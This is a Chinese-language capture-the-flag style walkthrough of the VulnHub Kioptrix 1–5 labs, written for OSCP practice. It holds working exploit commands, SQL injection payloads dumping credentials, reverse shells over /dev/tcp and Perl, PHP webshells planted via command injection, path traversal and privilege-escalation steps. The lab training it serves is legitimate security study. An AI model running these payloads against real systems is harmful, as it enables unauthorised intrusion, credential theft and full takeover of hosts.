Kioptrix系列1-5
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
Kioptrix: Level 1 (#1)


Nmap扫描
输入ifconfig查看kali本机的网段。

输入 nmap -sn kali的ip/24探查网段,实战过程是通过vpn链接,进去后能查看网段。或 nmap -p- kali的ip/24探查所有网段。


可以发现129有一个80端口,在kali浏览器中访问可以看到如下界面:

接下来探查端口指纹
nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al

然后用漏洞扫描
nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln得到输出
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 192.168.139.129
Host is up (0.00025s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
| http-enum:
| /test.php: Test page
| /icons/: Potentially interesting directory w/ listing on 'apache/1.3.20'
| /manual/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|_ /usage/: Potentially interesting folder
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 BID:70574
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_3DES_EDE_CBC_SHA
| References:
| https://www.imperialviolet.org/2014/10/14/poodle.html
| https://www.openssl.org/~bodo/ssl-poodle.pdf
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_ https://www.securityfocus.com/bid/70574
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| ssl-dh-params:
| VULNERABLE:
| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
| State: VULNERABLE
| IDs: CVE:CVE-2015-4000 BID:74733
| The Transport Layer Security (TLS) protocol contains a flaw that is
| triggered when handling Diffie-Hellman key exchanges defined with
| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
| to downgrade the security of a TLS session to 512-bit export-grade
| cryptography, which is significantly weaker, allowing the attacker
| to more easily break the encryption and monitor or tamper with
| the encrypted stream.
| Disclosure date: 2015-5-19
| Check results:
| EXPORT-GRADE DH GROUP 1
| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
| Modulus Length: 512
| Generator Length: 8
| Public Key Length: 512
| References:
| https://www.securityfocus.com/bid/74733
| https://weakdh.org
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|
| Diffie-Hellman Key Exchange Insufficient Group Strength
| State: VULNERABLE
| Transport Layer Security (TLS) services that use Diffie-Hellman groups
| of insufficient strength, especially those using one of a few commonly
| shared groups, may be susceptible to passive eavesdropping attacks.
| Check results:
| WEAK DH GROUP 1
| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
| Modulus Length: 1024
| Generator Length: 8
| Public Key Length: 1024
| References:
|_ https://weakdh.org
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| http://www.cvedetails.com/cve/2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
1024/tcp open kdm
MAC Address: 00:0C:29:3B:F8:BB (VMware)
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds
目录扫描
从Nmap扫描的结果来看,它提示以下几个文件目录,可能有洞。

使用如下命令扫描目录
dirb http://192.168.139.129/
看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用(靶机会这样提示,实战要自己猜自己挖)。且从之前的Nmap扫描结果中看出,SSL存在漏洞。

SSL漏洞利用 80/443端口
Kali终端中输入以下命令,查找可用的攻击方式。
searchsploit mod_ssl

根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式,如果下载文件有损坏,可以到 https://www.exploit-db.com/ 网站下载对应源码。
searchsploit -m 47080.c
sudo apt-get install libssl-dev # 安装依赖环境
gcc -o ssl47080 47080.c -lcrypto # 编译源码


./ssl47080 |grep "1.3.20"筛选符合 Apache 1.3.20版本的工具

靶机系统是RedHat,所以使用0x6a或0x6b。

0x6a测试失败,改用0x6b,输入以下命令:
./ssl47080 0x6b 192.168.139.129 -c 40
提权为root
目前是使用apache账户登录shell,这个账户是用于apache服务的专用账户, 可以使用ls /bin查看目前账户可以使用的命令,可以发现只能使用一些基本命令,权限较低,我们想要完整的shell就要root账户,就要提权。

现在本地攻击机下面下载提权脚本。
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
然后开启一个简单的http服务,提供给靶机用于下载提权脚本。
sudo python -m http.server 80
这个靶机好在可以使用wget命令下载提权脚本。如果wget用不了的情况,可以尝试用curl或ftp下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令:
wget http://192.168.139.128/ptrace-kmod.c
退出,然后再次重连,自动编译,就会获得root权限。如果重连后不是root,可以多试几次,或者更换47080.c文件。

另一种提权的方式:

(CVE-2003-0651)Apache RCE
https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce

这个67.c文件最好从网站下载,kali里下载的不全。尾号305的才是正确的文件。

- 但是编译不出来。
Samba 漏洞利用139端口
https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853
除了ssl漏洞,可以从之前的Nmap扫描结果发现也存在Samba漏洞。

使用Nmap再次扫描靶机的网址。
nmap -A -p- -T4 192.168.139.129
使用msf工具箱
msfconsole
search scanner/smb
use 16
info
set RHOST 192.168.139.129


这样就获取了samba的版本,退出msf,然后搜索samba的攻击方式,选择对应版本。下载,编译。
searchsploit samba 2.2.1a
searchsploit -m multiple/remote/10.c
gcc -o Samba 10.c

查看使用方式

使用如下命令爆破进入,直接获得root权限。
./Samba -b 0 192.168.139.129
Samba缓存漏洞利用139端口

搜索通用版本的samba攻击方式,发现,还有例如“call_trans2open”远程缓冲区溢出(2)漏洞利用的方式。下载编译后查看使用方式。


rpcbind 尝试
漏洞扫描的结果中还有111端口和1024端口的rpcbind服务,搜索了有如下方法,但是尝试失败。

上面这篇文章也做过了尝试是失败的,所以rpc的漏洞就不尝试了。
Kioptrix: Level 1.1 (#2)
2025年2月8日 14点15分

在攻击机上输入ifconfig查看本机网段。

nmap -sP 192.168.139.0/24 -T5扫描网段,发现130网段,是靶机,本机是128,254是网关,1,2都是网关。打开网页看一下,推测是sql注入。

nmap -sS -T5 192.168.139.130 -A
nmap -sS -T5 192.168.139.130 -p-扫描靶机的端口。



sql万能密码都试一遍。以下两个都可以
admin' and 1=1 -- +
admin' -- +
网页提示让我们ping机器,但是没有ping的地方。dirb http://192.168.139.130/ 扫描目录发现一个没啥用的manual页面,先放着

查看网页源码发现有括号没有闭合。


复制后粘贴修改源码,把括号闭合。


出现ping框。

输入执行whoami的测试语句,能看到执行了whoami的语句。

然后构造一个反弹shell的语句用来链接shell。到网站 https://www.ddosi.org/shell/ 可以快速构造反弹语句。
nc -lvnp 9001在攻击机输入监听命令启动监听。

在浏览器submit处的127.0.0.1 && 后面拼接反弹命令得到
127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.139.128/9001 0>&1
成功回弹获得bash权限,接下来是提权为root账户。执行uname 和lsb_release -a发现版本号,搜索相关poc。


从核心版本号2.6.9选择9542.c这个poc。
searchsploit -m 9542.c
攻击机开启http服务,上传poc到靶机。
python -m http.server
cd /tmp
wget http://192.168.139.128:8000/9542.c

编译执行,提权成功。
gcc -o exp 9542.c
./exp
whoami2025年2月8日 14点55分
Kioptrix: Level 1.2 (#3)
开启靶机后,在攻击机扫描网段。以下命令多开终端同步扫。
nmap -sP 192.168.139.0/24 -T5
nmap -sS -T5 192.168.139.131 -p-
nmap -sS 192.168.139.131 -p- --min-rate 1000 -A
dirb http://192.168.139.131/

访问80端口看到网页,点了一圈没有发现。

目录扫描发现php管理员登录入口。

发现登录界面,用万能密码,只填用户名,密码部分留空。

root" and 1=1 -- +点击表,点击搜索,发现安全设置有问题,可以写文件。
show global variables like "secure%";

暂时没有想法,先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。


主页点gallery会跳转到新的地址,但是图片之类的都显示不出来。
2025年2月8日 15点45分
中间去工作了,然后发现自己没有安装BurpSuit,原本装的Pro版,后来刷机刷没了,Yakit的劫持也忘了配置,浏览器插件没有装,去安装了一下。安装步骤可以看最后面。
2025年2月8日 18点49分
Lotus CMS 漏洞&passwd漏洞
先找找Lotus CMS有没有什么漏洞,这个是登录网页的框架。搜索发现如下工具。
https://github.com/Hood3dRob1n/LotusCMS-Exploit


选择1,反弹成功。


接下来需要提权成root。
目前这个中腹案不太好看,发现有python,给他弄成交互式终端。
python -c 'import pty; pty.spawn("/bin/bash")'
查询终端信息。

试了一些常规的提权方法不行,翻翻看文件夹,发现home文件夹下有个READEME文件。

Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
---
你好,新员工,使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做,你将被立即解雇。DG首席执行官
sudo了一下也不行。另一个文件好像也不是有用的。

回到READEME的提示,会发现要执行的时候没有paswwd,所以想从etc/passwd方向入手。看到有两个poc:40847.cpp和40839.c

编译第一个
g++ -o 40847 40847.cpp
./40847 -h
---
./40847 [-s] [-n] | [-h]
-s open directly a shell, if the exploit is successful;
-n combined with -s, doesn't restore the passwd file.
-h print this synopsis;
If no param is specified, the program modifies the passwd file and exits.
A copy of the passwd file will be create in the current directory as .ssh_bak
(unprivileged user), if no parameter or -n is specified.
---
-s如果攻击成功,直接打开shell;
-n和-s组合,不恢复passwd文件。-h打印概要;
如果没有指定参数,程序将修改passwd文件并退出。
在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n,则为Bak(非特权用户)。
失败,换40839,编译报错,提示缺少库文件。


文件中给出了编译命令。
gcc -pthread 40839.c -o 40839 -lcrypt
下载到靶机上编译执行。

这里我没注意看,它提示重置密码,我直接输入成了ls,等待他执行改密操作。


他现在提示我现在可以用ls做密码登录账户firefart,注意添加 -o 参数,不然版本太低登不进去。登不进去就直接su firefart
ssh -o HostKeyAlgorithms=+ssh-rsa firefart@192.168.139.131

虽然名字不是root,但是权限是root。
页面sql注入漏洞
因为之前找到phpadmin登陆界面,应该是有sql漏洞的。

主页点击浏览,发现有很多图片显示不出来,点击任意一个链接发现跳转新的域名,这个域名不是已经注册的,可能是跳转自己,但是DNS没有解析。

修改本机Host文件,让这个域名解析到指定ip,就是靶机的ip。

保存host文件,刷新一下浏览器就有了。



发现疑似注入的入口。

存在,可用,接下来就是调参了。


sqlmap 自动注入

懒人用sqlmap走一下捷径,实际考试sqlmap有限制次数,所以小的能手注的还是练习一下。
sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* --dbs --batch
sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery --tables --batch
sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all最后一步爆库很慢

手动注入
http://kioptrix3.com/gallery/gallery.php?id=1' # 报错
http://kioptrix3.com/gallery/gallery.php?id=1 # 不报错,是整数型注入
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66
# 回显 database()为gallery,user()为root@localhost
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata
# 回显 information_schema,gallery,mysql
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database()
# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users
# gallarific_users 里可能会有用户名和密码 查表
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='gallarific_users'
# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from gallery.gallarific_users
# 回显 admin n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.gallarific_users
# 回显 admin:n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.dev_accounts
# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e





# 回显 admin:n0t7t1k4
# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e
---
# 解密后为 https://www.cmd5.com/default.aspx
admin:n0t7t1k4
dreg:Mast3r
loneferret:starwars

ssh登录
ssh -oHostKeyAlgorithms=+ssh-rsa admin@192.168.139.131
ssh -oHostKeyAlgorithms=+ssh-rsa dreg@192.168.139.131
ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@192.168.139.131

除了admin的账户登不上,其他的都可以登录,这里可以又回到之前的用passwd漏洞切换账户。

suid 提权
也可以用suid方法提权。
find / -perm -u=s -type f 2>/dev/null # 发现有sudo 命令

2025年2月8日 22点27分
做到这里一开始怀疑是40839的问题,后来解压了新靶机也不行,推测是靶机文件问题,从官方渠道下载新的。 https://download.vulnhub.com/kioptrix/KVM3.rar 等着下载,然后正好也歇一会
2025年2月8日 22点39分

按键盘alt+w唤出选择界面,选择打开/etc/sudoers。


修改添加/bin/sh使root权限可以再bash中使用。保存退出。


MSF 工具箱 LotusCMS RCE
searchsploit lotuscms
注意OSCP考试只能使用一次MSF工具箱,所以应该掌握多种攻击方法。

先在2另一个终端开启监听。
set rhosts 192.168.139.132
set uri /index.php?system=Admin
set lhost 192.168.139.128
set lport 9001
set payload generic/shell_reverse_tcp
然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。
msfconsole -q -x 'use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run'phpadmin 漏洞
使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。
cd gallery
cat gconfig.php
---
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";


Kioptrix: Level 1.3 (#4)
老样子先看网段。


打开网页看,一个登录入口,弱密码和sql注入试了似乎不行。

目录扫描发现似乎有敏感文件泄露。


没有什么发现,重新用dirsearch扫描试试。


直接用john/1234登录index是不行的,但是继续扫描发现有额外的登录页面。试了也不行。

只有返回登陆界面试试sqlmap自动注入,尽量别用,下次有别的思路再试试。
sqlmap -r KP4.txt --dump --batch --level 3
Database: members
Table: members
[2 entries]
+----+-----------------------+----------+
| id | password | username |
+----+-----------------------+----------+
| 1 | MyNameIsJohn | john |
| 2 | ADGAdsafdfwt4gadfga== | robert |
+----+-----------------------+----------+
网页能登录,但是啥也没有,试试ssh登录。
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.139.133
登上去后发现应该是命令受限,只能使用几个命令,whoami都不行。help发现只能用下面这几个。

用echo就能逃逸这个终端环境到bash环境,用更多命令。

find / -name "*.php" 2>/dev/null找一下php文件,刚刚目录扫描出来的文件泄露有php,所以可能有php文件泄露。



两个php文件内容是一样的,其他的看了也没有特别的发现,这里写了用户名和密码,root,空密码,是mysql的密码。
mysql -u root -p
然后再在mysql里面用udf提权,老演员了。
UDF提权方法1-手动哈希注入
show global variables like "secure_file_priv";
select @@version_compile_os, @@version_compile_machine;
这个属性为空值就可以提权。

不太确认用哪个了,而且plung目录似乎没有,这个方法不行。

UDF提权方法2-sys_exec函数提权
sys_exec可以使用系统命令,直接把john加管理员里。
select * from mysql.func
select sys_exec('usermod -a -G admin john');

udf提权方法3-sqlmap提权
以上是手动写入的方法,以下是sqlmap自动写入的方法,sqlmap使用前提是知道账号密码。
sqlmap -d "mysql://root:@192.168.139.133:3306/mysql" --os-shell
此处应用失败是因为靶机的mysql端口没有打开,只是在内部访问。

2025年2月21日 17点27分
Kioptrix: 2014 (#5)
2025年2月22日14点04分
官方推荐的靶场笔记博客 https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html
打开靶机,扫描靶机。

端口,ssh没有开放,就一个80和8080端口开放。

主页就一个静态网页。



curl网页源码发现一个应该是框架的东西pChart从名字看应该改是画图之类的东西。搜索相关利用漏洞,只有一个。


先测试一下能不能打开这个网页,如果打不开,Vmware提示什么FreeBSD tools更新之类的是vmware犯病,不用管也不用更新,重启靶机就行。

然后就能用这个漏洞看文件了,看密码,看apache配置。
http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf2025年2月22日 15时18分
之前能打开一次,估计时靶机有问题,然后vmware老提示FreeBSD tools安装的问题,不确定是哪一个,重新下载官方镜像,然后安装VBox 和相关插件再试试,我看官网是用Vbox 的。还有可能是劫持问题。后面试了有觉得可能是因为刷靶机中途开了加速器玩了几把Kards,开加速器的时候把代理干废了,然后就登不上了。

是玩游戏导致代理混乱,重新在BurSuit中配置代理的方法。这个是我翻墙的代理,平时都开着。

burp连代理有时候不成功,多试几次,可能是因为机场问题,检查一下机场节点是不是超过300ms了。

2025年2月24日 14点25分

就是代理问题,回头要重新配代理,刷靶机的时候不要瞎玩游戏。


可以看到服务器配置信息里写了,配置信息里写了用mozilla的请求头就可以访问8080


如果没有安装hackbar,也可以用curl方法判断。

搜索并下载相关poc。


这里他给出了漏洞原理是phptax有个漏洞,就可以利用这个漏洞执行命令。这里恶意代码执行的是nc -l -v -p 23235 -e /bin/bash,需要在攻击机上启动nc监听端口来接收反弹的shell。但是,我查了网上的一些攻略帖子说nc bash php python都弹不回来,可能是靶机没有这几个命令或者限制用这几个命令。

链接靶机
方法1:一句话木马链接蚁剑终端
先测试靶机能不能执行命令。
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;&pdf=make
或者在BurpSuit里面抓包后send

把一句话木马加工到上面的连接中
<?php system($_GET["cmd"]);?>
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;ls%20-al%20%3e1.txt;&pdf=make
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo '<?php system($_GET["cmd"]);?>' > 222.php;&pdf=make
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo '<?php system($_REQUEST["cmd"]);?>' > ant.php;&pdf=make

然后再执行一次ls看1.txt里面有111.php了。然后也能成功执行命令。

蚁剑安装包:https://www.yuque.com/antswordproject/antsword/srruro
2025年2月24日 18点04分
也可关注公众号泷羽Sec-静安,后台回复找工具+Day4获取。
2025年2月25日 9点15分
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;echo '<?php system($_REQUEST["cmd"]);?>' > ant.php;&pdf=make注意,蚁剑要用上面这句_REQUEST生成的木马php才可以连成功。


方法2:perl弹nc反连
nc -lvnp 4777
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.139.128:4777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
http://192.168.139.134:8080/phptax/drawimage.php?pfilez=xxx;perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.139.128:4777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';&pdf=make
方法3:msf全家桶一键(不推荐考试只有一次机会)


不知道为什么没有终端传过来,可能是msf版本问题,外国人写的几个教程都比较老了21年以前的msf。msf版本更新是会出现一些打不进去的情况。要多走几条路,条条大路通罗马,根根网线通靶机。
提权


用26368.c,这里注意检查一下靶机上有没有gcc,有的话就先传c文件,到靶机编译。然后顺带查一下有哪些传文件的命令,有nc和ftp可以用。

新版的kali直接开ftp服务器有点问题,提示要下载包,但是下载也有问题。

sudo apt install pipx
pipx ensurepath
pipx install pyftpdlib
pipx run pyftpdlib --directory=. --port=2121 --write或者传到Windows本机物理机上的终端开ftp。
pip install pyftpdlib
python -m pyftpdlib
ftp ftp://192.168.139.1:2121/26368.c然后再在靶机上用ftp的命令下载。

用蚁剑的话可以直接传文件。但是蚁剑的终端显示不了root,所以混合着用。



🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚